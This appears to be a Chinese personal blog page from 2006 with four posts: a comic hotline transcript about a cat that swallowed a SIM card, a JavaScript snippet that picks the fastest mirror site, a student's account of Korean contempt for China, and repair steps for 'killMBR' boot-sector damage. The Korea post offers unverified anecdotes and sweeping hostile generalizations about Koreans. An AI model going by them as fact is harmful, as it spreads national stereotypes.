机主:营业厅服务态度没有你好你知道嘛,我的意思是你过来看一下还是我去找
你们。
客服人员:我们这边不需要过来的,我们解决什么问题的话都是通过营业厅的
机主:你要我去哪个营业厅
客服人员:大××营业厅(这里听不清楚~~)
机主:大××那服务态度我怕他们把我猫偷了。
客服人员:那就到您附近的营业厅就可以的
机主:我去了,那女的说话态度比你还凶
客服人员:那如果他不给你解决的话,首先的话,拿上身份证去营业厅办理补卡,
这是我们该办的
机主:我那猫没身份证
客服人员:你好,你是给您自己补卡还是给猫补卡呢?
机主:我给……我现在不是补卡的问题,我是猫,猫咋办啊我?
客服人员:你好,猫怎么办和我们没有关系的
机主:它肚子里有你们的卡怎么能说和你们没关系呢
客服
人员:那卡是您让它吃进去的,和我们……
机主:我有病啊,我喂它猫食我还喂它卡拉?
客服人员:那具体怎么吞进去的我们也不清楚啊,那您也不能把这责任就推倒移动
公司来,对吧?
机主:我不是推到移动公司,那是因为它吃了你们的卡了对吧?不管怎么样事实已经
存在了,猫肚子里是移动的卡不是联通的卡,对吧,这个事实已经存在了。
客服人员:现在就算它是吃了移动的卡,移动就要负责任吗?
机主:不是负责任,你们给我解决啊,没要你负责任,双方都和气点。解决就没事了,
一旦不能解决,那就要你们负责任了
客服人员:你好先生,首先您这不是解决问题的一个态度现在
机主:我咋不是解决解决问题了,我拿猫去营业厅不可能吧?我自己去吧,态度那么
差, 我想投诉他的没看到他牌号,也不知道他叫啥,你说你们的服务态度已
经对我造成不良影响了你还要我咋的
客服人员:你好,你的猫怎样咱们这边肯定是帮您解决不了的。如果就是说您拿身份
证去补卡,他不给您办,这肯定是他不对,如果有这种问题的话咱们这边肯定
是严肃处理的。但是猫具体怎样,咱们这里肯定是没有办法解决的,这到哪里
都是说得过去的
机主:我觉得在你认为肯定我们家猫没你们卡值钱,但在我看来我家猫比你们卡值钱。
咱们关键是角度不一样。你们的卡可以为你们创造利润,我的猫为你们创造不了
大利润的对吧。你不要老是说卡,我不补卡无所谓,我觉得拿卡无所谓,现在首
先是那猫怎么办?
客服人员:你好,那猫吃了您的卡肯定是你自己管理不当
机主:我把卡放桌子上它自己吃了,你能怨桌子怨我,怨卡怨猫了啊?
客服人员:那就一定怨移动公司,就因为它是移动公司的卡吗?
机主:对啊,它要是联通的卡我就打联通了对吧,我肯定不会找你啊
客服人员:我没有办法来帮你解决的了
机主:那你们就关门了,你们连这问题都解决不了,你不能遇到困难的问题就推脱,遇
到简单的问题就把它解决掉对吧
客服人员:你好,有理的问题我们一定解决,没理的问题……
机主:我这又没理了?我家猫吃了移动的卡,我给你打电话问一下,你说不管,你说谁
没理啊
客服人员:那您就去移动营业厅好吗?咱们1860不能解决这种问题
机主:不行,把你们董事长叫下来,把他电话给我,我给他打电话,你们投诉电话多少
客服人员:我们没有,1860就可以受理的
机主:受理?意思就是又你来推脱我是吧?
客服人员:你好,我不是推脱你,如果你认为我解释不合理的话,我可以向上级领导反
应您这个问题
机主:那就叫你上级领导来
客服人员:那请您留下联系方式
机主:我卡都让猫吃了,我上哪找联系方式啊
客服人员:我们给你打电话就可以了
机主:你打电话打猫肚子里我能接啊?
客服人员:那你现在不是打进电话了吗?还是有联系方式的是吗?
机主:我这电话只能接不能打
客服人员:好的,可以接就够了,我们给您打过去啊
机主:你们说话我都不相信了,我现在对你们产生怀疑了,我现在准备换联通的卡了
你知道吗?我跟你说你这就少了一位顾客了你知道吗?你不要以为少一个无所
谓,中国很多顾客,你们的顾客都是一名一名攒起来的,你丢失一个就丢失一
个了
客服人员:你好,我没有其他意思的,就是你如果对我的解释不认可,我只能只有这
么做了
机主:等一下,我想请问你什么学历啊?
客服人员:我的学历跟咱们业务没有关系啊
机主:不可以透露一点吗?本科还是专科啊?
客服人员:这没有必要回答的,因为咱们现在谈论的是业务啊
机主:那你现在业务你也处理不好,领导你也不叫
客服人员:不是不叫,您留下联系方式,我们领导会给您回电话
机主:我告诉你我时间很充足,你再讲我家猫肯定死掉的,待会得送它去火葬场的肯
定,你待会往火葬场打电话找我啊?
客服人员:你好,那你先挂电话,。我现在去叫领导来给您回个电话
机主:你别挂电话,让他现在过来,,电话费我掏对吧。。哦,这是免费电话对吧
客服人员:对啊
机主:哦,免费我等着就行了
客服人员:我现在没有办法联系他的,我们这里……
机主:你站不起来?
客服人员:你好,我需要过去告诉他,因为我们这边都是有规定,我们领导也是要处
理事情的,他也不能一个用户一个用户地去回复,我告诉他之后他会给您回电
话的。
机主:那偌大一个移动公司就一个领导??
客服人员:领导的话肯定是有好几个,像我们这边值班经理也有好几个,我们不能所
有的人都在……
机主:你说这人命关天,他先处理哪个?
客服人员:你好,稍候我把这个问题反应给他,他肯定会来给您进行处理的
机主:算了算了,我等你吧,你说让我等多长时间吧
客服人员:我尽快
机主:尽快,两秒钟够不够啊?
客服人员:我只能说尽快
机主:那好,我不挂电话,你尽快
…………

 

分类: 心情随笔 标签:

自动选择最快服务器的代码

2006年9月24日 没有评论 74 views

代码如下:

<html>
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
<meta http-equiv="refresh" content="5;url=./">
<title>自动选择最快站点</title>
</head>
<center>
<br>
<p>
<br>
<font color=blue size=7><br><br>
请稍候,正在选择速度最快站点......</p>

<script>
i=1
var autourl=new Array()//要测试的站点
autourl[1]="http://waha.3322.net"
autourl[2]="http://www.sina.com.cn"
autourl[3]="http://www.baron.com.cn"

function auto(url)
{
if(i){i=0;top.location=url}
}

function run()
{
for(var i=1;i<autourl.length;i++)
document.write("<img src="+autourl[i]+" width=1 height=1 onerror=auto('"+autourl[i]+"')>")
}

run()
</script>

</body>
</html> 

分类: 资源共享 标签:

在韩中国留学生对韩国的真实评价

2006年9月23日 没有评论 57 views

四年前,我只身来到韩国,说实话,来之前,我受到“韩流”的影响挺深的,打心里认为韩国是个很好的国家,有多么先进,韩国人有多么和蔼亲切……

但是,这一切的喜爱之情,在我抵达汉城之后,都瞬间的化作了失望和恐惧……坐在车里的我,吃惊的望着车外的街道,满脑子就是一个想法:不是吧,怎么这么破啊!?这真是汉城?!韩剧里看到的高楼大厦,豪华别墅都哪去了?!为什么这么多破破烂烂的小房子,而且还盖的乱七八糟的,韩国是不是没有城市规划局啊?!为什么街上的好多景象,都跟电视剧里相差太远?!这简直就是两个国家嘛!!!!



随后的日子,我因为语言不通,也没怎么敢上街,心想着等开了学,就能交上韩国朋友了,因为在国内的时候,看到的听到的都是国人对外国人很友好,所以我想韩国人应该也这样吧……所以开学后,我“傻呵呵”地到处跟人说“我是从中国来的”,本以为他们会表示欢迎,哪怕是最起码的礼貌也好,可没想到他们一个个都只是“噢”一声就走了,好冷漠,冷漠的我后背直冒冷汗……慢慢的,我的语言好起来了,也终于明白了为什么那些韩国同学听说我是中国人后,反映如此冷淡……下面举几个例子,都是我的亲身经历:


一.跟朋友找房子,搬家那天,房东来敲门,送了我们一对牙刷和牙膏,我和朋友挺纳闷的,为什么要送这个,当时还以为韩国有这个习俗呢,结果房东说“这个叫做牙刷,那个叫做牙膏,我们韩国人都刷牙的,你们来到韩国以后,也要学习刷牙,既然家里送你们到先进国家来学习,那就要学的彻底一些……”


天哪……那是我第一次感受到韩国人对中国有多么不了解,太不可思议了,离得这么近的国家,不知道也就算了,居然还歪曲……从那时起,我就决定:关注韩国的go-vern-ment和媒体都是怎么向国民宣传中国的……



二.半年后我交了个韩国男朋友,当时也是为了尽快把语言学好,跟他的朋友们一起喝酒的时候,其中一个人问我:“怎么样?韩国好吧?在中国的时候也坐过沙发吗?”,我男朋友:“不要这么无知,我去过中国,去过北京,大连,南京,很发达,你们应该多走走~!”……结果那天晚上,男友被打了,理由就是:他不配做 “大韩民国”的人……



三.也是男朋友的一个朋友,有一次在我家看电视,正好演张艺谋的“一个不能少”(顺便提一下:来韩国这几年,电视上看到的中国电视剧或电影,不是七八十年代的古装片,就是农村片,跟国内成天放那些夸张韩国好形象的韩剧,真是鲜明的对比),看着看着,那个人问我:“你在中国的时候,上学也要爬山吗?爬几座啊?”……


四.大学的一个同学,问我:“昨晚看电视,说你们中国代步工具都是自行车,这几年因为受韩流文化的影响,才开始知道我们韩国的汽车有多棒,韩国的手机有多高级,听说你们那儿能买得起韩国货的都是有钱人,你会骑自行车吗?……”


五.经常遇到一些韩国人,得知我从中国来之后,问我“哇~~那你们家一定是相当的有钱了,能来得起我们韩国,我们韩国人都去美国去英国,最差也是去日本呢 ~~~!”


六.去年暑假回国,带了好多漂亮的衣服回韩国,因为我觉得国内又便宜又好看的衣服一点都不比韩国的差,果然开学后,就总有韩国女生拽着我问“哇,你这衣服在哪儿买的?”/“我喜欢你的鞋,好可爱哦”……我说“都是我从中国带的”,她们说为什么不在韩国买,我说“现在东大门很多很多很多衣服都是在中国进的,或者在中国制作的”……结果她们说“没想到,中国人穷也有穷的志气啊,嘴真硬!”(言外之意:我那些漂亮衣服都是在韩国买的,嘴硬才说是从中国买的)


七.打工的时候,老板不直从哪儿弄来了几个芒果,忙好心地招呼我去吃,韩国的芒果很稀少,本来平时就很亏嘴的我,急忙去吃,但是老板的几句话,彻底让我没胃口了——“这是芒果,没吃过吧?真难为你出生在中国了,多好个女孩儿啊,唉,真可惜了……”


八.我有个当兵刚退伍的朋友,想趁假期跟我去中国玩儿玩儿,因为他的出身挺高级的,家里有钱到他连冷面,年糕条那些“普通市民”的食物都没吃过,天天西餐,日餐,突然听他说想去中国玩儿,我心里还暗爽:这次一定要让他知道知道中国有多好!结果他跟他妈妈商量的时候,他妈妈死都不让他去,原因是:中国又脏又乱,根本就没有他能吃的高级西餐,而且中国人很野蛮,万一被人知道他在韩国是相当有钱的,被抢劫绑架甚至撕票了怎么办?!?!……我到现在都挺佩服他妈妈的想象力的,还撕票,以为拍电影呢?!说实话,就算被人绑架撕票,也肯定也是冲着你们韩国人瞧不起中国的!!!


九.我去做家教,教一个小学四年级的小姑娘,有一次故意问了她们所学到的中国历史,她说:“老师说成吉思汗是罪人,因为他抢占了本来属于韩国的大片疆土/ 高句丽文化是我们韩国的,其实中国的东北三省都应该属于韩国,可你们中国不但不承认,还说韩国曾经是你们的隶属国,所以老师教育我们,一定要强大祖国,不能让中国得逞……”


十.韩国的街头有很多“汉医院”,其实在韩国叫做“韩医院”,因为“汉”和“韩”在韩国是同一个字,所以我一直以为那是“汉医院”,因为不管从用药,还是到疗法,都跟中医一样,虽然我不太懂中医,但我最起码见过中药,听说过疗法,最差最差,也知道去抓中药的时候,那些具有中国特色的药柜和小秤吧?!……大二的那年,我选修了跟这个有关的课,是想听听韩国人怎么看待中医的,因为在韩国真的很火,韩国人很信这个,可是第一节课,老师就在黑板上写“韩国的医学”,简称“韩医”,原来是“韩”不是“汉”,那你们的用药和疗法都是自己的喽?!我怎么一点都没看出来?!后来的几堂课,老师讲了“本草纲目”,一句一个“我们大韩民国文化的结晶,我们韩民族的骄傲”,说到针灸的时候,也连说了好几次“同学们应该为我们的民族而骄傲,我们有这么伟大的发明!”……我跟几个中国同学当时就爆了~!跟老师一顿大吵,真的真的真的是气氛到极点了!!!!平时你们瞧不起中国人,对中国无知也就算了,我们都能忍!!!但不要脸到连别人的东西也说是自己的,那就太不是人了!!!!最后我们全都摔门而出了,不上就不上!!!


十一.出去逛街,吃饭,总能遇到很多中国游客或日本游客,要是遇到的是日本游客,店主一般都会先招待日本人,那叫一个陪笑啊,等日本人走后,再“变脸”来搭理我们,日本人也侃价,但店主就不生气,等我们侃价,十个店主有八个会马上不耐烦,一副“买不起就别买!”的样子,有几次我们买了很贵的东西,店主马上问“你们是日本人吧?”,我说“中国人”,店主“华侨吧?”……懒得理论,走人……


四年了,我从按耐不住跟韩国人大吵,到如今的嗤之以鼻懒得搭理……这样的心理变化过程是必然的,因为不是吵架能解决得了的

分类: 心情随笔 标签:

解决killMBR

2006年9月23日 没有评论 129 views

解决方法:

首先找一张带PE系统的光盘,然后开机按DEL键盘,进入COMS,选择PE进去,进去之后,会和正常电脑一样
不用管他

选择开始菜单,有个磁盘修复,会弹出一个对话筐,你电脑有分几个区,就有几个盘,选中一个右键盘,修复

引导分区,点自动就可以了,记得每个盘都要修复,修复完了保存,确定,重新启动电脑就可以了.

分类: 资源共享 标签: